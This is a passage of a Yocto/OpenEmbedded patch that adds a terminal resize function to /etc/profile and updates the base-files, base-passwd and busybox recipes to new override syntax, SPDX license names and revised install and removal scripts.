[ "$TERM" ] || TERM="vt100" # Basic terminal capab. For screen etc.
# Add /sbin & co to $PATH for the root user
@@ -20,13 +19,48 @@ if [ -d /etc/profile.d ]; then
unset i
fi
-# Make sure we are on a serial console (i.e. the device used starts with
-# /dev/tty[A-z]), otherwise we confuse e.g. the eclipse launcher which tries do
-# use ssh
-case $(tty 2>/dev/null) in
- /dev/tty[A-z]*) [ -x @BINDIR@/resize ] && @BINDIR@/resize >/dev/null;;
-esac
+if [ -t 0 -a $# -eq 0 ]; then
+ if [ ! -x @BINDIR@/resize ] ; then
+ if [ -n "$BASH_VERSION" ] ; then
+# Optimized resize funciton for bash
+resize() {
+ local x y
+ IFS='[;' read -t 2 -p $(printf '\e7\e[r\e[999;999H\e[6n\e8') -sd R _ y x _
+ [ -n "$y" ] && \
+ echo -e "COLUMNS=$x;\nLINES=$y;\nexport COLUMNS LINES;" && \
+ stty cols $x rows $y
+}
+ else
+# Portable resize function for ash/bash/dash/ksh
+# with subshell to avoid local variables
+resize() {
+ (o=$(stty -g)
+ stty -echo raw min 0 time 2
+ printf '\0337\033[r\033[999;999H\033[6n\0338'
+ if echo R | read -d R x 2> /dev/null; then
+ IFS='[;R' read -t 2 -d R -r z y x _
+ else
+ IFS='[;R' read -r _ y x _
+ fi
+ stty "$o"
+ [ -z "$y" ] && y=${z##*[}&&x=${y##*;}&&y=${y%%;*}
+ [ -n "$y" ] && \
+ echo "COLUMNS=$x;"&&echo "LINES=$y;"&&echo "export COLUMNS LINES;"&& \
+ stty cols $x rows $y)
+}
+ fi
+ fi
+ # Use the EDITOR not being set as a trigger to call resize
+ # and only do this for /dev/tty[A-z] which are typically
+ # serial ports
+ if [ -z "$EDITOR" -a "$SHLVL" = 1 ] ; then
+ case $(tty 2>/dev/null) in
+ /dev/tty[A-z]*) resize >/dev/null;;
+ esac
+ fi
+fi
+EDITOR="vi" # needed for packages like cron, git-commit
export PATH PS1 OPIEDIR QPEDIR QTDIR EDITOR TERM
umask 022
diff --git a/meta/recipes-core/base-files/base-files_3.0.14.bb b/meta/recipes-core/base-files/base-files_3.0.14.bb
index 94299431f6..ff83567bd9 100644
--- a/meta/recipes-core/base-files/base-files_3.0.14.bb
+++ b/meta/recipes-core/base-files/base-files_3.0.14.bb
@@ -2,7 +2,7 @@ SUMMARY = "Miscellaneous files for the base system"
DESCRIPTION = "The base-files package creates the basic system directory structure and provides a small set of key configuration files for the system."
SECTION = "base"
PR = "r89"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://licenses/GPL-2;md5=94d55d512a9ba36caa9b7df079bae19f"
# Removed all license related tasks in this recipe as license.bbclass
# now deals with this. In order to get accurate licensing on to the image:
@@ -28,7 +28,7 @@ S = "${WORKDIR}"
INHIBIT_DEFAULT_DEPS = "1"
-docdir_append = "/${P}"
+docdir:append = "/${P}"
dirs1777 = "/tmp ${localstatedir}/volatile/tmp"
dirs2775 = ""
dirs555 = "/sys /proc"
@@ -64,7 +64,7 @@ conffiles = "${sysconfdir}/debian_version ${sysconfdir}/host.conf \
# hostnames.
#
# The hostname can be changed outside of this recipe by using
-# hostname_pn-base-files = "my-host-name".
+# hostname:pn-base-files = "my-host-name".
hostname = "${MACHINE}"
BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
@@ -77,7 +77,7 @@ BASEFILESISSUEINSTALL ?= "do_install_basefilesissue"
# Otherwise the directory creation will fail and we will have circular symbolic
# links.
#
-pkg_preinst_${PN} () {
+pkg_preinst:${PN} () {
#!/bin/sh -e
if [ x"$D" = "x" ]; then
if [ -h "/var/lock" ]; then
@@ -139,7 +139,7 @@ do_install () {
fi
}
-do_install_append_libc-glibc () {
+do_install:append:libc-glibc () {
install -m 0644 ${WORKDIR}/nsswitch.conf ${D}${sysconfdir}/nsswitch.conf
}
@@ -162,7 +162,7 @@ do_install_basefilesissue () {
}
do_install_basefilesissue[vardepsexclude] += "DATE"
-do_install_append_linuxstdbase() {
+do_install:append:linuxstdbase() {
for d in ${dirs755-lsb}; do
install -m 0755 -d ${D}$d
done
@@ -175,10 +175,12 @@ do_install_append_linuxstdbase() {
SYSROOT_DIRS += "${sysconfdir}/skel"
PACKAGES = "${PN}-doc ${PN} ${PN}-dev ${PN}-dbg"
-FILES_${PN} = "/"
-FILES_${PN}-doc = "${docdir} ${datadir}/common-licenses"
+FILES:${PN} = "/"
+FILES:${PN}-doc = "${docdir} ${datadir}/common-licenses"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-CONFFILES_${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
-CONFFILES_${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+CONFFILES:${PN} = "${sysconfdir}/fstab ${@['', '${sysconfdir}/hostname ${sysconfdir}/hosts'][(d.getVar('hostname') != '')]} ${sysconfdir}/shells"
+CONFFILES:${PN} += "${sysconfdir}/motd ${sysconfdir}/nsswitch.conf ${sysconfdir}/profile"
+
+INSANE_SKIP:${PN} += "empty-dirs"
diff --git a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb b/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
index d1aab09181..9a27ad3ab5 100644
--- a/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
+++ b/meta/recipes-core/base-passwd/base-passwd_3.5.29.bb
@@ -1,7 +1,8 @@
SUMMARY = "Base system master password/group files"
DESCRIPTION = "The master copies of the user database files (/etc/passwd and /etc/group). The update-passwd tool is also provided to keep the system databases synchronized with these master files."
+HOMEPAGE = "https://launchpad.net/base-passwd"
SECTION = "base"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a"
RECIPE_NO_UPDATE_REASON = "Version 3.5.38 requires cdebconf for update-passwd utility"
@@ -72,7 +73,7 @@ base_passwd_tweaksysroot () {
chmod 0755 $dest
}
-python populate_packages_prepend() {
+python populate_packages:prepend() {
# Add in the preinst function for ${PN}
# We have to do this here as prior to this, passwd/group.master
# would be unavailable. We need to create these files at preinst
@@ -97,17 +98,17 @@ if [ ! -e $D${sysconfdir}/group ]; then
""" + group + """EOF
fi
"""
- d.setVar(d.expand('pkg_preinst_${PN}'), preinst)
+ d.setVar(d.expand('pkg_preinst:${PN}'), preinst)
}
addtask do_package after do_populate_sysroot
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "${PN}-update"
-FILES_${PN}-update = "${sbindir}/* ${datadir}/${PN}"
+FILES:${PN}-update = "${sbindir}/* ${datadir}/${PN}"
-pkg_postinst_${PN}-update () {
+pkg_postinst:${PN}-update () {
#!/bin/sh
if [ -n "$D" ]; then
exit 0
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.31.0.bb b/meta/recipes-core/busybox/busybox-inittab_1.31.0.bb
deleted file mode 100644
index 61fb8cbad1..0000000000
--- a/meta/recipes-core/busybox/busybox-inittab_1.31.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "inittab configuration for BusyBox"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
-
-SRC_URI = "file://inittab"
-
-S = "${WORKDIR}"
-
-INHIBIT_DEFAULT_DEPS = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- install -d ${D}${sysconfdir}
- install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
- tmp="${SERIAL_CONSOLES}"
- [ -n "$tmp" ] && echo >> ${D}${sysconfdir}/inittab
- for i in $tmp
- do
- j=`echo ${i} | sed s/\;/\ /g`
- id=`echo ${i} | sed -e 's/^.*;//' -e 's/;.*//'`
- echo "$id::respawn:${base_sbindir}/getty ${j}" >> ${D}${sysconfdir}/inittab
- done
-}
-
-# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
-# Set PACKAGE_ARCH appropriately.
-PACKAGE_ARCH = "${MACHINE_ARCH}"
-
-FILES_${PN} = "${sysconfdir}/inittab"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
-
-RCONFLICTS_${PN} = "sysvinit-inittab"
diff --git a/meta/recipes-core/busybox/busybox-inittab_1.35.0.bb b/meta/recipes-core/busybox/busybox-inittab_1.35.0.bb
new file mode 100644
index 0000000000..868d7a230f
--- /dev/null
+++ b/meta/recipes-core/busybox/busybox-inittab_1.35.0.bb
@@ -0,0 +1,85 @@
+SUMMARY = "inittab configuration for BusyBox"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
+
+SRC_URI = "file://inittab"
+
+S = "${WORKDIR}"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ install -d ${D}${sysconfdir}
+ install -D -m 0644 ${WORKDIR}/inittab ${D}${sysconfdir}/inittab
+ tmp="${SERIAL_CONSOLES}"
+ [ -n "$tmp" ] && echo >> ${D}${sysconfdir}/inittab
+ for i in $tmp
+ do
+ j=`echo ${i} | sed s/\;/\ /g`
+ id=`echo ${i} | sed -e 's/^.*;//' -e 's/;.*//'`
+ echo "$id::respawn:${base_sbindir}/getty ${j}" >> ${D}${sysconfdir}/inittab
+ done
+ if [ "${USE_VT}" = "1" ]; then
+ cat <<EOF >>${D}${sysconfdir}/inittab
+# ${base_sbindir}/getty invocations for the runlevels.
+#
+# The "id" field MUST be the same as the last
+# characters of the device (after "tty").
+#
+# Format:
+# <id>:<runlevels>:<action>:<process>
+#
+
+EOF
+
+ for n in ${SYSVINIT_ENABLED_GETTYS}
+ do
+ echo "tty$n:12345:respawn:${base_sbindir}/getty 38400 tty$n" >> ${D}${sysconfdir}/inittab
+ done
+ echo "" >> ${D}${sysconfdir}/inittab
+ fi
+
+}
+
+pkg_postinst:${PN} () {
+# run this on host and on target
+if [ "${SERIAL_CONSOLES_CHECK}" = "" ]; then
+ exit 0
+fi
+}
+
+pkg_postinst_ontarget:${PN} () {
+# run this on the target
+if [ -e /proc/consoles ]; then
+ tmp="${SERIAL_CONSOLES_CHECK}"
+ for i in $tmp
+ do
+ j=`echo ${i} | sed -e s/^.*\;//g -e s/\:.*//g`
+ k=`echo ${i} | sed s/^.*\://g`
+ if [ -z "`grep ${j} /proc/consoles`" ]; then
+ if [ -z "${k}" ] || [ -z "`grep ${k} /proc/consoles`" ] || [ ! -e /dev/${j} ]; then
+ sed -i -e /^.*${j}\ /d -e /^.*${j}$/d /etc/inittab
+ fi
+ fi
+ done
+ kill -HUP 1
+else
+ exit 1
+fi
+}
+
+# SERIAL_CONSOLES is generally defined by the MACHINE .conf.
+# Set PACKAGE_ARCH appropriately.
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+FILES:${PN} = "${sysconfdir}/inittab"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
+
+RCONFLICTS:${PN} = "sysvinit-inittab"
+
+USE_VT ?= "1"
+SYSVINIT_ENABLED_GETTYS ?= "1"
diff --git a/meta/recipes-core/busybox/busybox.inc b/meta/recipes-core/busybox/busybox.inc
index d08fa8d3d9..69fa499737 100644
--- a/meta/recipes-core/busybox/busybox.inc
+++ b/meta/recipes-core/busybox/busybox.inc
@@ -1,14 +1,15 @@
SUMMARY = "Tiny versions of many common UNIX utilities in a single small executable"
DESCRIPTION = "BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides minimalist replacements for most of the utilities you usually find in GNU fileutils, shellutils, etc. The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. BusyBox provides a fairly complete POSIX environment for any small or embedded system."
-HOMEPAGE = "http://www.busybox.net"
+HOMEPAGE = "https://www.busybox.net"
BUGTRACKER = "https://bugs.busybox.net/"
DEPENDS += "kern-tools-native virtual/crypt"
-# bzip2 applet in busybox is based on lightly-modified bzip2 source
+# bzip2 applet in busybox is based on lightly-modified bzip2-1.0.4 source
# the GPL is version 2 only
-LICENSE = "GPLv2 & bzip2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=de10de48642ab74318e893a61105afbb"
+LICENSE = "GPL-2.0-only & bzip2-1.0.4"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=de10de48642ab74318e893a61105afbb \
+ file://archival/libarchive/bz/LICENSE;md5=28e3301eae987e8cfe19988e98383dae"
SECTION = "base"
@@ -22,39 +23,39 @@ EXTRA_OEMAKE = "CC='${CC}' LD='${CCLD}' V=1 ARCH=${TARGET_ARCH} CROSS_COMPILE=${
PACKAGES =+ "${PN}-httpd ${PN}-udhcpd ${PN}-udhcpc ${PN}-syslog ${PN}-mdev ${PN}-hwclock"
-FILES_${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
-FILES_${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_unitdir}/system/syslog.service ${sysconfdir}/default/busybox-syslog"
-FILES_${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
-FILES_${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
-FILES_${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
-FILES_${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
+FILES:${PN}-httpd = "${sysconfdir}/init.d/busybox-httpd /srv/www"
+FILES:${PN}-syslog = "${sysconfdir}/init.d/syslog* ${sysconfdir}/syslog-startup.conf* ${sysconfdir}/syslog.conf* ${systemd_system_unitdir}/syslog.service ${sysconfdir}/default/busybox-syslog"
+FILES:${PN}-mdev = "${sysconfdir}/init.d/mdev ${sysconfdir}/mdev.conf ${sysconfdir}/mdev/*"
+FILES:${PN}-udhcpd = "${sysconfdir}/init.d/busybox-udhcpd"
+FILES:${PN}-udhcpc = "${sysconfdir}/udhcpc.d ${datadir}/udhcpc"
+FILES:${PN}-hwclock = "${sysconfdir}/init.d/hwclock.sh"
INITSCRIPT_PACKAGES = "${PN}-httpd ${PN}-syslog ${PN}-udhcpd ${PN}-mdev ${PN}-hwclock"
-INITSCRIPT_NAME_${PN}-httpd = "busybox-httpd"
-INITSCRIPT_NAME_${PN}-hwclock = "hwclock.sh"
-INITSCRIPT_NAME_${PN}-mdev = "mdev"
-INITSCRIPT_PARAMS_${PN}-mdev = "start 04 S ."
-INITSCRIPT_NAME_${PN}-syslog = "syslog"
-INITSCRIPT_NAME_${PN}-udhcpd = "busybox-udhcpd"
+INITSCRIPT_NAME:${PN}-httpd = "busybox-httpd"
+INITSCRIPT_NAME:${PN}-hwclock = "hwclock.sh"
+INITSCRIPT_NAME:${PN}-mdev = "mdev"
+INITSCRIPT_PARAMS:${PN}-mdev = "start 04 S ."
+INITSCRIPT_NAME:${PN}-syslog = "syslog"
+INITSCRIPT_NAME:${PN}-udhcpd = "busybox-udhcpd"
SYSTEMD_PACKAGES = "${PN}-syslog"
-SYSTEMD_SERVICE_${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
+SYSTEMD_SERVICE:${PN}-syslog = "${@bb.utils.contains('SRC_URI', 'file://syslog.cfg', 'busybox-syslog.service', '', d)}"
-RDEPENDS_${PN}-syslog = "busybox"
-CONFFILES_${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
-RCONFLICTS_${PN}-syslog = "rsyslog sysklogd syslog-ng"
+RDEPENDS:${PN}-syslog = "busybox"
+CONFFILES:${PN}-syslog = "${sysconfdir}/syslog-startup.conf"
+RCONFLICTS:${PN}-syslog = "rsyslog sysklogd syslog-ng"
-CONFFILES_${PN}-mdev = "${sysconfdir}/mdev.conf"
+CONFFILES:${PN}-mdev = "${sysconfdir}/mdev.conf"
-RRECOMMENDS_${PN} = "${PN}-udhcpc"
+RRECOMMENDS:${PN} = "${PN}-udhcpc"
-RDEPENDS_${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
+RDEPENDS:${PN} = "${@["", "busybox-inittab"][(d.getVar('VIRTUAL-RUNTIME_init_manager') == 'busybox')]}"
inherit cml1 systemd update-rc.d ptest
# busybox's unzip test case needs zip command, which busybox itself does not provide
-RDEPENDS_${PN}-ptest = "zip"
+RDEPENDS:${PN}-ptest = "zip"
# internal helper
def busybox_cfg(feature, tokens, cnf, rem):
@@ -96,12 +97,12 @@ DO_IPv6 := "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 1, 0, d)}"
python () {
if "${OE_DEL}":
- d.setVar('configmangle_append', "${OE_DEL}" + "\n")
+ d.setVar('configmangle:append', "${OE_DEL}" + "\n")
if "${OE_FEATURES}":
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### DISTRO FEATURES$/a\\\n%s\n\n" %
("\\n".join((d.expand("${OE_FEATURES}").split("\n")))))
- d.setVar('configmangle_append',
+ d.setVar('configmangle:append',
"/^### CROSS$/a\\\n%s\n" %
("\\n".join(["CONFIG_EXTRA_CFLAGS=\"${CFLAGS} ${HOST_CC_ARCH}\""
])
@@ -109,9 +110,8 @@ python () {
}
do_prepare_config () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
sed -e '/CONFIG_STATIC/d' \
< ${WORKDIR}/defconfig > ${S}/.config
echo "# CONFIG_STATIC is not set" >> .config
@@ -133,16 +133,6 @@ do_prepare_config () {
fi
}
-# returns all the elements from the src uri that are .cfg files
-def find_cfgs(d):
- sources=src_patches(d, True)
- sources_list=[]
- for s in sources:
- if s.endswith('.cfg'):
- sources_list.append(s)
-
- return sources_list
-
do_configure () {
set -x
do_prepare_config
@@ -152,9 +142,8 @@ do_configure () {
do_compile() {
unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- export KCONFIG_NOTIMESTAMP=1
- fi
+ export KCONFIG_NOTIMESTAMP=1
+
if [ "${BUSYBOX_SPLIT_SUID}" = "1" -a x`grep "CONFIG_FEATURE_INDIVIDUAL=y" .config` = x ]; then
# split the .config into two parts, and make two busybox binaries
if [ -e .config.orig ]; then
@@ -318,24 +307,25 @@ do_install () {
install -m 0755 ${WORKDIR}/mdev-mount.sh ${D}${sysconfdir}/mdev
fi
fi
- if grep -q "CONFIG_INIT=y" ${B}/.config; then
+ if grep -q "CONFIG_INIT=y" ${B}/.config && ${@bb.utils.contains('VIRTUAL-RUNTIME_init_manager','busybox','true','false',d)}; then
install -D -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d/rcS
install -D -m 0755 ${WORKDIR}/rcK ${D}${sysconfdir}/init.d/rcK
+ install -D -m 0755 ${WORKDIR}/rcS.default ${D}${sysconfdir}/default/rcS
fi
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
if grep -q "CONFIG_KLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-klogd.service.in \
- > ${D}${systemd_unitdir}/system/busybox-klogd.service
+ > ${D}${systemd_system_unitdir}/busybox-klogd.service
fi
if grep -q "CONFIG_SYSLOGD=y" ${B}/.config; then
- install -d ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
sed 's,@base_sbindir@,${base_sbindir},g' < ${WORKDIR}/busybox-syslog.service.in \
- > ${D}${systemd_unitdir}/system/busybox-syslog.service
- if [ ! -e ${D}${systemd_unitdir}/system/busybox-klogd.service ] ; then
- sed -i '/klog/d' ${D}${systemd_unitdir}/system/busybox-syslog.service
+ > ${D}${systemd_system_unitdir}/busybox-syslog.service
+ if [ ! -e ${D}${systemd_system_unitdir}/busybox-klogd.service ] ; then
+ sed -i '/klog/d' ${D}${systemd_system_unitdir}/busybox-syslog.service
fi
if [ -f ${WORKDIR}/busybox-syslog.default ] ; then
install -d ${D}${sysconfdir}/default
@@ -354,7 +344,9 @@ PTEST_BINDIR = "1"
do_install_ptest () {
cp -r ${B}/testsuite ${D}${PTEST_PATH}/
- cp ${B}/.config ${D}${PTEST_PATH}/
+ # These access the internet which is not guaranteed to work on machines running the tests
+ rm -rf ${D}${PTEST_PATH}/testsuite/wget
+ sort ${B}/.config > ${D}${PTEST_PATH}/.config
ln -s /bin/busybox ${D}${PTEST_PATH}/busybox
}
@@ -362,7 +354,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "50"
-python do_package_prepend () {
+python do_package:prepend () {
# We need to load the full set of busybox provides from the /etc/busybox.links
# Use this to see the update-alternatives with the right information
@@ -379,9 +371,9 @@ python do_package_prepend () {
if alt_name == '[':
alt_name = 'lbracket'
if alt_name == 'klogd' or alt_name == 'syslogd':
- d.appendVar('ALTERNATIVE_%s-syslog' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s-syslog' % (pn), ' ' + alt_name)
else:
- d.appendVar('ALTERNATIVE_%s' % (pn), ' ' + alt_name)
+ d.appendVar('ALTERNATIVE:%s' % (pn), ' ' + alt_name)
d.setVarFlag('ALTERNATIVE_LINK_NAME', alt_name, alt_link_name)
if os.path.exists('%s%s' % (dvar, target)):
d.setVarFlag('ALTERNATIVE_TARGET', alt_name, target)
@@ -401,7 +393,7 @@ python do_package_prepend () {
# These symlinks will later be updated by update-alternatives calls.
# The update-alternatives.bbclass' postinst script runs firstly before other
# postinst, but this part of code needs run firstly, so add this funtion.
-python populate_packages_updatealternatives_append() {
+python populate_packages_updatealternatives:append() {
postinst = """
test -n 2 > /dev/null || alias test='busybox test'
if test "x$D" = "x"; then
@@ -428,10 +420,36 @@ if grep -q "^${base_bindir}/bash$" $D${sysconfdir}/busybox.links*; then
fi
"""
- d.prependVar('pkg_postinst_%s' % pkg, postinst)
+ d.prependVar('pkg_postinst:%s' % pkg, postinst)
}
-pkg_prerm_${PN} () {
+pkg_postinst:${PN}:prepend () {
+ # Need path to saved utils, but they may have be removed on upgrade of busybox
+ # Only use shell to get paths. Also capture if busybox was saved.
+ BUSYBOX=""
+ if [ "x$D" = "x" ] ; then
+ for busybox_rmdir in /tmp/busyboxrm-*; do
+ if [ "$busybox_rmdir" != '/tmp/busyboxrm-*' ] ; then
+ export PATH=$busybox_rmdir:$PATH
+ if [ -e $busybox_rmdir/busybox* ] ; then
+ BUSYBOX="$busybox_rmdir/busybox*"
+ fi
+ fi
+ done
+ fi
+}
+
+pkg_postinst:${PN}:append () {
+ # If busybox exists in the remove directory it is because it was the only shell left.
+ if [ "x$D" = "x" ] ; then
+ if [ "x$BUSYBOX" != "x" ] ; then
+ update-alternatives --remove sh $BUSYBOX
+ rm -f $BUSYBOX
+ fi
+ fi
+}
+
+pkg_prerm:${PN} () {
# This is so you can make busybox commit suicide - removing busybox with no other packages
# providing its files, this will make update-alternatives work, but the update-rc.d part
# for syslog, httpd and/or udhcpd will fail if there is no other package providing sh
@@ -451,15 +469,32 @@ pkg_prerm_${PN} () {
ln -s ${base_bindir}/busybox $tmpdir/grep
ln -s ${base_bindir}/busybox $tmpdir/tail
export PATH=$PATH:$tmpdir
+
+ # If busybox is the shell, we need to save it since its the lowest priority shell
+ # Register saved bitbake as the lowest priority shell possible as back up.
+ if [ -n "$(readlink -f /bin/sh | grep busybox)" ] ; then
+ BUSYBOX=$(readlink -f /bin/sh)
+ cp $BUSYBOX $tmpdir/$(basename $BUSYBOX)
+ update-alternatives --install /bin/sh sh $tmpdir/$(basename $BUSYBOX) 1
+ fi
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
+ # Add path to remove dir in case we removed our only grep
+ if [ "x$D" = "x" ] ; then
+ for busybox_rmdir in /tmp/busyboxrm-*; do
+ if [ "$busybox_rmdir" != '/tmp/busyboxrm-*' ] ; then
+ export PATH=$busybox_rmdir:$PATH
+ fi
+ done
+ fi
+
if grep -q "^${base_bindir}/bash$" $D${sysconfdir}/busybox.links* && [ ! -e $D${base_bindir}/bash ]; then
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
fi
}
-pkg_prerm_${PN}-syslog () {
+pkg_prerm:${PN}-syslog () {
# remove syslog
if test "x$D" = "x"; then
if test "$1" = "upgrade" -o "$1" = "remove"; then
@@ -468,4 +503,4 @@ pkg_prerm_${PN}-syslog () {
fi
}
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/ash', '', d)}"
diff --git a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch b/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
deleted file mode 100644
index 2bf2b91c7e..0000000000
--- a/meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-From a9333eb6a7b8dbda735947cd5bc981ff9352a2c9 Mon Sep 17 00:00:00 2001
-From: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
-Date: Thu, 10 Mar 2011 00:27:08 -0500
-Subject: [PATCH 1/2] Use $(CC) when linking instead of $(LD) and use $(CFLAGS)
- and $(EXTRA_CFLAGS) when linking.
-
-This fixes the issue where LDFLAGS escaped with -Wl are ignored during
-compilation. It also simplifies using CFLAGS or EXTRA_CFLAGS (such as
--m32 on x86_64 or -flto) which apply to both compilation and linking
-situations.
-
-Signed-off-by: Nathan Phillip Brink <ohnobinki@ohnopublishing.net>
----
-Upstream-Status: Pending
-
- Makefile | 7 ++++---
- scripts/Makefile.build | 8 ++++----
- scripts/Makefile.lib | 13 +++----------
- 3 files changed, 11 insertions(+), 17 deletions(-)
-
-Index: busybox-1.23.2/Makefile
-===================================================================
---- busybox-1.23.2.orig/Makefile
-+++ busybox-1.23.2/Makefile
-@@ -309,7 +309,8 @@ CHECKFLAGS := -D__linux__ -Dlinux -D
- MODFLAGS = -DMODULE
- CFLAGS_MODULE = $(MODFLAGS)
- AFLAGS_MODULE = $(MODFLAGS)
--LDFLAGS_MODULE = -r
-+LDFLAGS_RELOCATABLE = -r -nostdlib
-+LDFLAGS_MODULE = $(LDFLAGS_RELOCATABLE)
- CFLAGS_KERNEL =
- AFLAGS_KERNEL =
-
-@@ -331,7 +332,7 @@ KERNELVERSION = $(VERSION).$(PATCHLEVEL)
- export VERSION PATCHLEVEL SUBLEVEL KERNELRELEASE KERNELVERSION \
- ARCH CONFIG_SHELL HOSTCC HOSTCFLAGS CROSS_COMPILE AS LD CC \
- CPP AR NM STRIP OBJCOPY OBJDUMP MAKE AWK GENKSYMS PERL UTS_MACHINE \
-- HOSTCXX HOSTCXXFLAGS LDFLAGS_MODULE CHECK CHECKFLAGS
-+ HOSTCXX HOSTCXXFLAGS LDFLAGS_RELOCATABLE LDFLAGS_MODULE CHECK CHECKFLAGS
-
- export CPPFLAGS NOSTDINC_FLAGS LINUXINCLUDE OBJCOPYFLAGS LDFLAGS
- export CFLAGS CFLAGS_KERNEL CFLAGS_MODULE
-@@ -610,7 +611,7 @@ quiet_cmd_busybox__ ?= LINK $@
- cmd_busybox__ ?= $(srctree)/scripts/trylink \
- "$@" \
- "$(CC)" \
-- "$(CFLAGS) $(CFLAGS_busybox)" \
-+ "$(CFLAGS) $(CFLAGS_busybox) $(EXTRA_CFLAGS)" \
- "$(LDFLAGS) $(EXTRA_LDFLAGS)" \
- "$(core-y)" \
- "$(libs-y)" \
-Index: busybox-1.23.2/scripts/Makefile.build
-===================================================================
---- busybox-1.23.2.orig/scripts/Makefile.build
-+++ busybox-1.23.2/scripts/Makefile.build
-@@ -174,7 +174,7 @@ cmd_modversions = \
- | $(GENKSYMS) -a $(ARCH) \
- > $(@D)/.tmp_$(@F:.o=.ver); \
- \
-- $(LD) $(LDFLAGS) -r -o $@ $(@D)/.tmp_$(@F) \
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(@D)/.tmp_$(@F) \
- -T $(@D)/.tmp_$(@F:.o=.ver); \
- rm -f $(@D)/.tmp_$(@F) $(@D)/.tmp_$(@F:.o=.ver); \
- else \
-@@ -257,7 +257,7 @@ quiet_cmd_link_o_target = LD $@
- # If the list of objects to link is empty, just create an empty built-in.o
- # -nostdlib is added to make "make LD=gcc ..." work (some people use that)
- cmd_link_o_target = $(if $(strip $(obj-y)),\
-- $(LD) -nostdlib $(ld_flags) -r -o $@ $(filter $(obj-y), $^),\
-+ $(CC) $(ld_flags_partial) $(LDFLAGS_RELOCATABLE) -o $@ $(filter $(obj-y), $^),\
- rm -f $@; $(AR) rcs $@)
-
- $(builtin-target): $(obj-y) FORCE
-@@ -292,10 +292,10 @@ $($(subst $(obj)/,,$(@:.o=-objs))) \
- $($(subst $(obj)/,,$(@:.o=-y)))), $^)
-
- quiet_cmd_link_multi-y = LD $@
--cmd_link_multi-y = $(LD) $(ld_flags) -r -o $@ $(link_multi_deps)
